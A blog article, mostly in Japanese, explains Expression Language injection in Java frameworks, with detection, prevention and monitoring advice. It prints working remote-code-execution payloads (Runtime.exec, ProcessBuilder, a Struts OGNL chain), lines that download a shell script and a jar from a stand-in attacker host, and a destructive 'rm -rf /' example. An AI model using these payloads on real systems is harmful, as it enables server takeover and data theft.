Security
9 min read
3339 views

Expression Language Injection: When ${} Becomes Your Worst Nightmare 💀

IT
InstaTunnel Team
Published by our engineering team
Expression Language Injection: When ${} Becomes Your Worst Nightmare 💀

Introduction: The Silent Assassin of Web Applications

想像してみてください。名前を入力するだけの単純な入力フィールドがあります。Johnと入力してフォームを送信すると、「Welcome, John!」と画面に表示されます。簡単ですよね?しかし、もし誰かが ${"".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null).exec("rm -rf /")} と入力したらどうなるでしょうか?誤った手に渡れば、その無邪気な入力フィールドはシステム全体を乗っ取る武器に変わるのです。

Expression Language (EL) Injectionは、現代のWebアプリケーションにおいて最も破壊的かつ過小評価されている脆弱性の一つです。この攻撃ベクトルは、テンプレートエンジンが動的式を評価する仕組みを悪用し、サーバー上で任意のコードを実行させることを可能にします。従来のインジェクション攻撃と異なり、ELインジェクションは ${}#{} のデリミタで囲まれた数文字だけでリモートコード実行(RCE)を達成できることもあります。

Expression Language Injectionとは何か?

ユーザー制御の入力が、適切な検証やサニタイズなしにサーバー側のテンプレートエンジンによって式として評価されるときにEL Injectionは発生します。ELインジェクションの脆弱なアプリケーションでは、攻撃者はクエリ文字列やフォームオブジェクトに巧妙に作り込んだコードを送信し、そのコードが実行時にコンパイルされてしまいます。

Expression Languagesの理解

Expression Languagesは、Webアプリケーション内のデータアクセスや操作を容易にするために設計されました。これにより開発者は:

  • JavaBeansコンポーネントとそのプロパティにアクセス
  • パブリックメソッドや静的関数を呼び出し
  • 算術・論理演算を実行
  • リクエスト・セッション・アプリケーションのスコープからデータ取得

ELを利用する代表的なフレームワークは:

  • JavaServer Pages (JSP) - ${}#{} を使用
  • Spring Framework - Spring Expression Language (SpEL)
  • Thymeleaf - ネイティブテンプレートエンジン
  • Apache Struts - Object-Graph Navigation Language (OGNL)
  • Java Unified Expression Language - Java EEの標準

EL式の構造

標準的なEL式は予測可能なパターンに従います:

${variable}              # 変数にアクセス
${object.property}       # オブジェクトのプロパティにアクセス
${object.method()}       # メソッドを呼び出す
${"string".length()}     # 文字列操作
${1 + 1}                 # 算術演算

これらの式が、信頼できないユーザー入力を検証せずに処理すると危険です。

EL Injectionの仕組み:技術的背景

脆弱性の流れ

ELインジェクションは、アプリケーションの動的コンテンツ処理の根本的な欠陥を突きます:

  1. ユーザー入力の受け取り: フォームやURLパラメータ、ヘッダー、クッキーからデータを受信
  2. テンプレート処理: 入力をEL式に組み込む
  3. 式の評価: ELインタプリタが式を評価
  4. コードの実行: 式内の悪意のあるコードがサーバー上で実行される

以下は脆弱なJSPコード例:

3cjsp:useBean id="data" class="com.example.DataBean" scope="request"/3e
3cjsp:setProperty name="data" property="userInput" value="${param.input}"/3e
3cp3eWelcome, ${data.userInput}!3c/p3e

ユーザーが input=${7*7} と送信すると、アプリは式を評価し、文字列 ${7*7} の代わりに 49 を返します。これが式の評価結果であることから、脆弱性が示されます。

検出技術

ELインジェクションの確認には、${"dfd".replace("d","x")} のようなペイロードを使い、期待される出力は 'xfx' です。これは、文字列 'dfd''d''x' に置換して 'xfx' に変換されるためです。

一般的な検出ペイロード例:

${7*7}                    # 期待値: 49
${{7*7}}                  # 期待値: [49]
${"test".length()}        # 期待値: 4
${"a".concat("b")}        # 期待値: ab
${T(java.lang.Runtime)}   # Spring: クラス参照

ブラックボックステスターはこれらのペイロードをさまざまなインジェクションポイントに注入します:

  • URLパラメータ
  • フォームフィールド
  • HTTPヘッダー
  • Cookie値
  • ファイルアップロードのメタデータ
  • JSON/XMLデータフィールド

攻撃の流れ:情報漏洩からRCEへ

フェーズ1:情報収集

攻撃者はまず機密情報を抽出します:

${applicationScope}                           # アプリケーション変数
${sessionScope}                               # セッションデータ
${pageContext.request.getHeader("Cookie")}    # ヘッダー情報
${pageContext.servletContext.serverInfo}      # サーバー情報

フェーズ2:リモートコード実行へのエスカレーション

ELインジェクションの完全な悪用と完全なRCEの実現には、runtime.exec()クラスを呼び出してシステムコマンドを実行する必要があります。

方法1:直接Runtime呼び出し

${''.getClass().forName('java.lang.Runtime')
    .getMethod('getRuntime')
    .invoke(null)
    .exec('whoami')}

方法2:ProcessBuilderの悪用

${request.setAttribute("c","".getClass()
    .forName("java.util.ArrayList").newInstance())}
${request.getAttribute("c").add("cmd.exe")}
${request.getAttribute("c").add("/c")}
${request.getAttribute("c").add("calc.exe")}
${"".getClass().forName("java.lang.ProcessBuilder")
    .getConstructor(java.util.List.class)
    .newInstance(request.getAttribute("c")).start()}

方法3:ScriptEngineManagerの利用

${facesContext.getExternalContext().setResponseHeader("output",
    "".getClass().forName("javax.script.ScriptEngineManager")
    .newInstance().getEngineByName("JavaScript")
    .eval("var x=new java.lang.ProcessBuilder; 
          x.command(\"wget\",\"http://attacker.com/shell.sh\"); 
          org.apache.commons.io.IOUtils.toString(x.start().getInputStream())"))}

方法4:URLClassLoaderを使ったリモートコード

${request.getClass().getClassLoader().loadClass("java.net.URLClassLoader")
    .getConstructor(java.net.URL[].class)
    .newInstance(new java.net.URL[]
        {new java.net.URL("http://attacker.com/malicious.jar")})}

フレームワーク別の脆弱性

JSP Expression Language

JavaServer Pagesは、<jsp:setProperty>タグやテンプレート内のEL式を直接使用する場合に特に脆弱です:

3c!-- 脆弱なパターン --3e
3cc:out value="${param.userInput}" /3e

3c!-- 攻撃例 --3e
?userInput=${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke(null).exec("calc")}

Spring FrameworkとSpEL

Spring 3.0.5以前のバージョンでは、ELタグが二重に評価されるため、ELインジェクション(CVE-2011-2730)のリスクがあります。

Spring Expression Languageは、信頼できない入力とともに使用すると危険な強力な機能を提供します:

// 脆弱なSpringコントローラー
@RequestMapping("/welcome")
public String welcome(@RequestParam String name, Model model) {
    ExpressionParser parser = new SpelExpressionParser();
    Expression exp = parser.parseExpression(name); // 脆弱ポイント
    model.addAttribute("greeting", exp.getValue());
    return "welcome";
}

// 攻撃例: ?name=T(java.lang.Runtime).getRuntime().exec('whoami')

Apache StrutsとOGNL

2017年のエクイファックスの情報漏洩は、OGNLのELインジェクションによるもので、多くの個人情報が流出しました。エクイファックスは、被害者の救済のために最大$425百万の支払いに合意しています。

StrutsのOGNLインジェクションは、以下のように悪用されます:

%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)
.(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container'])
.(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))
.(#ognlUtil.getExcludedPackageNames().clear())
.(#ognlUtil.getExcludedClasses().clear())
.(#context.setMemberAccess(#dm))))
.(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))
.(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))
.(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true))
.(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

Thymeleafテンプレートエンジン

Thymeleafは属性内の式を利用し、ユーザー入力を処理するテンプレートを悪用される可能性があります:

3c!-- 脆弱なテンプレート --3e
3cdiv th:text="${userInput}"3e3c/div3e

3c!-- 攻撃例 --3e
${T(java.lang.Runtime).getRuntime().exec('calc')}

実例ケーススタディ

CVE-2024-51466: IBM Cognos Analytics

ある研究者は、IBM Cognosのエンドポイントで、ユーザー入力をEL式に渡してRCEを引き起こす脆弱性を発見しました。これは認証をバイパスする別の脆弱性と連携しており、未認証のままリモートコード実行が可能です。

攻撃には以下のペイロードが使われました:

${''.getClass().forName('java.lang.Runtime')
    .getMethod('getRuntime').invoke(null).exec('command')}

レスポンスは java.lang.ProcessImpl@b639b23d を返し、プロセスの生成とコード実行の成功を確認しました。

CVE-2024-12798: Logback Coreの脆弱性

QOS.CHのlogback-coreのバージョン1.5.12までに存在したACE脆弱性は、JaninoEventEvaluator拡張を悪用し、既存のlogback設定ファイルを改ざんしたり、悪意のある環境変数を注入したりすることで任意のコードを実行可能です。

エクイファックスの攻撃(2017年)

最も有名なELインジェクション攻撃は、Apache StrutsのCVE-2017-5638(OGNLインジェクション脆弱性)を悪用したものでした。攻撃者は:

  • 1億4700万人の米国人の個人情報
  • 1520万英国人の記録
  • 1万9000人のカナダ人のデータ

の情報にアクセスしました。攻撃の手法は非常にシンプルで、Content-TypeヘッダーにOGNL式を含めてコマンドを実行させるものでした。

防御戦略:堅牢なアプリケーション構築

入力検証とサニタイズ

ユーザーデータを式インタプリタに渡すのは避けるべきです。どうしても必要な場合は、データを検証・エンコードし、式として評価されないようにします。

厳格な検証例:

public boolean isValidInput(String input) {
    // ELデリミタを拒否
    Pattern pattern = Pattern.compile(".*[\\$\\#\\{\\}].*");
    Matcher matcher = pattern.matcher(input);
    
    if (matcher.matches()) {
        throw new SecurityException("ELインジェクションの可能性検出")
    }
    
    // ホワイトリスト方式 - 英数字のみ許可
    return input.matches("[a-zA-Z0-9]+")
}

式評価の無効化

Spring Frameworkの場合:

バージョン3.0.6以降では、二重評価機能を無効化できます。web.xmlに以下を設定:

3ccontext-param3e
    3cdescription3eSpring Expression Languageサポート3c/description3e
    3cparam-name3espringJspExpressionSupport3e
    3cparam-value3ffalse3e
3c/context-param3e

Content Security Policies

出力エンコーディングを徹底:

public String escapeEL(String input) {
    return input
        .replace("$", "\\$")
        .replace("{", "\\{")
        .replace("}", "\\}")
        .replace("#", "\\#");
}

フレームワーク別の防御策

JSP: - JSTLタグでescapeXml="true"を使用 - カスタムタグでのEL評価を避ける - Content Security Policyヘッダーを設定

Spring: - Spring Frameworkを最新に保つ(重要なパッチは5.2.20+、5.3.18+) - @PreAuthorizeを用いたメソッドレベルのセキュリティ - ユーザー入力をSpEL式として解析しない

Thymeleaf: - 事前処理済みの式__${...}__を慎重に使用 - 設定で厳格モードを有効化 - テンプレート処理前にすべての入力を検証

ランタイムアプリケーション自己防御(RASP)

最新のRASPソリューションは、以下によりELインジェクションの試行を検知・ブロックします:

  • 式評価パターンの監視
  • 実行時の挙動分析
  • 危険なメソッド呼び出し(Runtime.exec、ProcessBuilder)のブロック
  • ゼロデイ脆弱性に対する仮想パッチ適用

セキュリティテスト

ホワイトボックステスト: - コードレビュー(ELの使用箇所に焦点) - 静的アプリケーションセキュリティテスト(SAST)ツール - 依存関係の脆弱性スキャン

ブラックボックステスト: - ELペイロードを用いたファジング - 動的アプリケーションセキュリティテスト(DAST) - カスタムペイロードによる侵入テスト

検出と監視

ログ分析

疑わしいパターンを監視:

${.*}
#{.*}
T(java.lang.Runtime)
getClass().forName
ProcessBuilder
ScriptEngineManager
URLClassLoader

Webアプリケーションファイアウォール(WAF)

WAFルールを設定して検知:

# ModSecurity例
SecRule ARGS "@rx \$\{.*\}" \
    "id:100001,phase:2,deny,log,msg:'Potential EL Injection Attack'"

ランタイム検知

以下を監視するランタイムフックを実装:

  • ユーザコンテキストからのリフレクションAPI呼び出し
  • プロセス生成の試行
  • 信頼できないソースからのクラスローディング
  • テンプレート評価からのネットワーク通信

EL Injectionの未来

新たな脅威

フレームワークの進化に伴い、新たな攻撃ベクトルが出現:

  1. ポリグロットペイロード:複数のインジェクションタイプの組み合わせ
  2. エンコード攻撃:Base64、Unicode、16進数エンコードされたペイロード
  3. タイミング攻撃によるブラインドエクスプロイト:タイミング差を利用した脆弱性検知
  4. チェーン攻撃:ELインジェクションと他の脆弱性の組み合わせ

セキュリティのベストプラクティス

  1. 最小権限の原則:アプリケーションは最小限の権限で動作させる
  2. 多層防御:複数のセキュリティ層を実装
  3. 定期的なアップデート:フレームワークと依存関係を最新に保つ
  4. セキュリティ教育:開発者にインジェクションリスクを理解させる
  5. 安全なコーディング標準:コーディングガイドラインを策定・徹底

統計と影響

2024年10月のアプリ/APIの平均プローブ数は4,110件で、ELインジェクションの有効な攻撃は月平均約2.5件、1.4件の成功例が報告されています。

これらの数字は少なく見えますが、その危険性は極めて高いです。ELインジェクションが成功すると:

  • サーバーの完全乗っ取り
  • 数百万規模のデータ漏洩
  • 数億円の損失
  • 規制違反や法的責任
  • 信用失墜

結論:警戒は必須

Expression Language Injectionは、現代Webアプリケーションにおいて最も重要な脆弱性の一つです。${}の無害な外観は、その裏に破滅的なダメージをもたらす可能性を隠しています。エクイファックスの攻撃から最新のCVEまで、ELインジェクションは世界中の組織にとって脅威となり続けています。

良いニュースは、ELインジェクションは以下の対策で完全に防止可能なことです:

  • 厳格な入力検証
  • 適切な出力エンコーディング -フレームワークのセキュリティ設定
  • 定期的なセキュリティテスト
  • 開発者の教育

覚えておいてください:すべての入力フィールドは攻撃の潜在的な入口です。すべてのテンプレート式がユーザーデータを処理するたびにリスクが伴います。ELインジェクションの存在を見過ごすことは、開発者の怠慢です。${}があなたの最悪の悪夢とならないようにしましょう。ユーザー入力は敵とみなし、徹底的に検証し、アプリケーションのあらゆる層にセキュリティを組み込みましょう。

重要なポイント

  1. ユーザー入力は絶対に信用しない - すべての外部データは潜在的に危険
  2. ユーザー入力を式として評価しない - 可能な限り静的テンプレートを使用
  3. 多層防御を実施 - 複数のセキュリティコントロールを重ねる
  4. 常に最新状態に保つ - セキュリティパッチを迅速に適用
  5. 継続的にテスト - 定期的なセキュリティ評価が不可欠
  6. 積極的に監視 - 攻撃を未然に検知し対処
  7. チームを教育 - セキュリティは全員の責任です

ELインジェクションは単なる技術的な脆弱性ではなく、待ち受ける重大なセキュリティ危機です。攻撃者によるテストがいつ始まるかはわかりません。準備を怠らないようにしましょう。


著者について:本記事は、2025年までの最新のセキュリティ研究とCVE公開情報に基づくExpression Language Injectionの脆弱性について解説しています。最新のセキュリティ情報は、公式フレームワークのドキュメントやセキュリティアドバイザリを参照してください。

参考資料:OWASP、CVEデータベース、セキュリティ研究論文、2024-2025年の脆弱性公開レポート。

Continue from this article into the most relevant product guides and workflows.

Related Topics

#expression language injection, EL injection, EL RCE, JSP EL injection, Spring EL injection, Thymeleaf EL injection, JBoss EL vulnerability, EL template injection, template expression injection, ${} injection, remote code execution via EL, EL payloads, OGNL injection, MVEL injection, Java EL injection, JSP expression injection, Spring SpEL injection, Struts2 EL vulnerability, EL bypass, RCE in Java frameworks, template injection attack, expression evaluation vulnerability, arbitrary code execution EL, input field EL injection, user input evaluation, web template injection, Java server pages vulnerability, Spring expression language exploit, JUEL injection, dynamic evaluation attack, deserialization via EL, insecure expression parsing, EL sandbox escape, EL injection detection, EL injection fuzzing, EL injection payloads GitHub, EL injection prevention, secure template rendering, disable EL evaluation, Spring security expression hardening, expression resolver exploitation, EL injection scanner, web application RCE, EL injection tutorial, EL injection CVE, OWASP template injection, bug bounty EL injection, EL injection in 2025, web templating vulnerability, Java security misconfiguration, code injection prevention, expression parsing vulnerability, input sanitization for EL, expression validation best practices, EL injection mitigation, JSP RCE prevention, expression injection defense, EL injection examples

Keep building with InstaTunnel

Read the docs for implementation details or compare plans before you ship.

Share this article

More InstaTunnel Insights

Discover more tutorials, tips, and updates to help you build better with localhost tunneling.

Browse All Articles